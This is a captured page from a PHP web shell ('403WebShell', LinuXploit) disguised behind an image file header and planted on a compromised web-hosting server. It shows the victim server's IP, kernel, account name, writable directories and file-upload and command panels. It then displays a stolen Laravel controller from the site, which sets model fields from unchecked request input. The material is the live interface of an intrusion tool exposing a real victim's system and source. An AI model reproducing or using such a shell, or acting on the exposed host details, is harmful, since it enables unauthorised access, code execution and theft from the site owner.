����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.136.20.207
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/././gle.gltechlimited.com/app/Http/Controllers/Api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/././gle.gltechlimited.com/app/Http/Controllers/Api/MultipleScreenController.php
<?php

namespace App\Http\Controllers\Api;

use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use App\Multiplescreen;
use Auth;
use App\Package;

class MultipleScreenController extends Controller
{

    public function newupdate(Request $request)
    {
        $data  = new MainController;
        $secretData = $data->CheckSecretKey($request);
        
        if($secretData != ''){
          return $secretData;
        }

        $user = Auth::user();
        $macaddress = $request->macaddress;
        $getscreen = Multiplescreen::where('user_id',$user->id)->orderBy('created_at','Desc')->first();
    
        if(isset($macaddress) || $macaddress != null){
            if($macaddress == $getscreen->device_mac_1){
                $getscreen->update(['screen_1_used' => 'NO', 'device_mac_1' => NULL]);
            }elseif($macaddress == $getscreen->device_mac_2){
                $getscreen->update(['screen_2_used' => 'NO', 'device_mac_2' => NULL]);
            }elseif($macaddress == $getscreen->device_mac_3){
                $getscreen->update(['screen_3_used' => 'NO', 'device_mac_3' => NULL]);
            }elseif($macaddress == $getscreen->device_mac_4){
                $getscreen->update(['screen_4_used' => 'NO', 'device_mac_4' => NULL]);
            }
        }
        $screen_count = 'screen_'.$request->count.'_used';
        $device_count = 'device_mac_'.$request->count;
        
        if($request->count){
            $query = $getscreen->where('id',$getscreen->id)->update([$screen_count => 'YES', 'activescreen' => $request->screen,  $device_count => $macaddress]);
            
        }

        if($query){
          
            return response()->json(1, 200);
        }else {
            return response()->json('error', 401);
        }
    }
    public function downloadcounter(Request $request)
    {
        $data  = new MainController;
        $secretData = $data->CheckSecretKey($request);
        
        if($secretData != ''){
          return $secretData;
        }

        $user = Auth::user();
        $screen = 'download_'.$request->count;
        $multiplescreen = Multiplescreen::where('user_id',$user->id)->orderBy('created_at','Desc')->first();
        if($multiplescreen != null){
           $plan = Package::findorfail($multiplescreen->pkg_id);
           if(isset($plan) && $plan->downloadlimit != null && $plan->downloadlimit > 0 && ($plan->downloadlimit/$plan->screens > $multiplescreen->$screen)){

        $query = $multiplescreen->update([$screen => $multiplescreen->$screen+1]);
           }
           else{
             return response()->json('no downloadlimit or downloadlimit exceed', 401);
           }
        }

        if(isset($query)){
            return response()->json(1, 200);
        }else {
            return response()->json('error', 401);
        }
    }

     public function manageprofile(Request $request){

        $data  = new MainController;
        $secretData = $data->CheckSecretKey($request);
        
        if($secretData != ''){
          return $secretData;
        }

        $user = Auth::user();
        $screen = null;
        $screen = Multiplescreen::where('user_id',$user->id)->orderBy('created_at','Desc')->first();
        return response()->json(array('screen' =>$screen), 200);
    }
    public function changescreen(Request $request)
    {
        $data  = new MainController;
        $secretData = $data->CheckSecretKey($request);
        
        if($secretData != ''){
          return $secretData;
        }

        $user = Auth::user();
        $query = Multiplescreen::where('user_id',$user->id)->update(['activescreen' => $request->screen, ]);

        if($query){
            return response()->json(array('ok'), 200);
        }else {
            return response()->json(array('error'), 401);
        }
    }

    public function screenprofile(Request $request)
    {
        $data  = new MainController;
        $secretData = $data->CheckSecretKey($request);
        
        if($secretData != ''){
          return $secretData;
        }

        $user = Auth::user();
        $result = Multiplescreen::where('user_id',$user->id)->first();
        $screentype = $request->type;

        if($request->value != null || $request->value != '')
        {
            $result->{$screentype} = $request->value;
        }
        
        $result->save();

        return response()->json(1, 200);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit